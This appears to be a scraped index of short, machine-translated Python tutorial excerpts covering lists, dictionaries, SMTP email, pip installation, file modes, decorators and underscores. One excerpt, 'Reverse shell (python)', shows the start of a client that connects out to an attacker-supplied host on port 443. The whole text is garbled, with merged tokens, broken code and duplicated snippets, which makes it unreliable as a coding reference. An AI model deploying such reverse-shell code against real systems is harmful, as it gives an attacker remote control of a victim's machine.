Python

In Python, the official Python provides a number of extensible packages to enhance Python's functionality.Because of the use of Excel read and write function, you need to install XLRD package, the installation steps1. First download the appropriate

List = [1,2,3,4,5,6,7,8,9,0,0,0,0,0]listset = List.set (list) #将列表中的数据进行去重处理此时listSet中的数据为 [1,2,3,4,5,6,7,8,9,0]index = List.index (2) #返回数据元素首先出现的位置, if the list does not have this element returns an error at this point the index is 1[[0 for I in

Happy Shrimphttp://blog.csdn.net/lights_joy/Welcome reprint, but please keep the author informationk python The random coordinate values of each of the ten points are generated at the center point ( -1.5, -1.5) and (1.5, 1.5) , and we want to

1 #!/usr/bin/env python2 #Coding=utf-83#Author: ca0gu04 Import Time5 ImportSmtplib6 fromEmail.mime.textImportMimetext7 8 classMailcli (object):9 def __init__(self):TenSelf.s = Smtplib. SMTP ()#class instantiation One A defConnect

Reverse shell (python)ClientImportsocket, subprocess, sysRHOST = sys.argv[1]Rport = 443s = socket.socket (socket.af_inet, socket. SOCK_STREAM)S.connect ((RHOST, Rport)) whileTrue:data = S.RECV (1024x768)En_data = ByteArray (data) for I inch Range

#-*-coding:utf-8-*-#1, DictionariesDict = {' name ': ' Zara ', ' age ': 7, ' class ': ' First '}#字典转为字符串, return: {' age ': 7, ' name ': ' Zara ', ' class ': ' First '}Print type (str (dict)), str (DICT)#字典可以转为元组, return: (' age ', ' name ', '

wget pip[Email protected] tools]# wget https://bootstrap.pypa.io/get-pip.py--2015-06-25 14:40:46--https://bootstrap.pypa.io/get-pip.pyParsing host Bootstrap.pypa.io (Bootstrap.pypa.io) ... 103.245.222.175Connecting Bootstrap.pypa.io

New versions of Python introduce new features, but in fact these features already exist in the previous version. To "try out" a new feature, you can do so by importing some of the features of the __future__ module.For example, the integer division

Functions related to file operations:1. Opening a File open ("File name", "Open with")Open With classification: Mode Open mode File exists File does not exist R Read-only Open File Error

We can bind a lot of properties to an instance, what if some attributes do not want to be accessed externally?Python's control over property permissions is implemented by property names, which cannot be accessed externally if an attribute starts

New versions of Python introduce new features, but in fact these features already exist in the previous version. To "try out" a new feature, you can do so by importing some of the features of the __future__ module.For example, the integer division

Using configuration files in a program to flexibly configure some parameters is a common thing, configuration file parsing is not complicated, especially in Python, in the official release of the library contains a library to do this thing, that is

1. Go to the official website to download the packageBasic program Compiler Python-2.7.10.msiIntegrated development Environment Pycharm-community-4.5.2.exePackage Management Tools Pip-7.0.3.tar.gz2. InstallationInstall sequentiallyPlace the Python-2.

The writing format, and the related instructions are as follows: Format: \033[display; foreground color m Description: foreground color background color --------------------------------------- Black,

A Timer starts its work after a delay and can is canceled at any point within that delay time period. Threading Python includes sophisticated tools for managing concurrent operations using processes and threads. Even many relatively

in [8]: a =Set('ABCD') in [9]: B =Set('EF') in [Ten]: def match (x, y): ....: forIinchx: .....: forJinchy: .....:ifi==J: .....: Break ....: Else: ....: returnFalse ....:returnTrue ....: in [ One]: Match (A, b) out[ One]:

Python sends text emails, 1 #! /Usr/bin/env python 2 # coding = UTF-8 3 # Author: Ca0Gu04 import time 5 import smtplib 6 from email. mime. text import MIMEText 7 8 class MailCli (object): 9 def _ init _ (self): 10 self. s = smtplib. SMTP () # class

Download the theme of pythonDownload the theme of pythonAuthor: vpoet Date: around the summer Note: No need to tell me if the code is free to copyMain functions: 1. Search for images under the petal http://huaban.com/2. Select the number of

Python decorator instance: verifies the validity of parameters and python legitimacy Python is a dynamic language without static checks. Sometimes you need to ensure that the parameters are valid when calling a function. Checking the validity of

Underline details in Python and underline details in Python This article discusses the use of underline _ in Python. Similar to many usage in Python, most (not all) different use of underscore _ is a convention. 1. A single underline is directly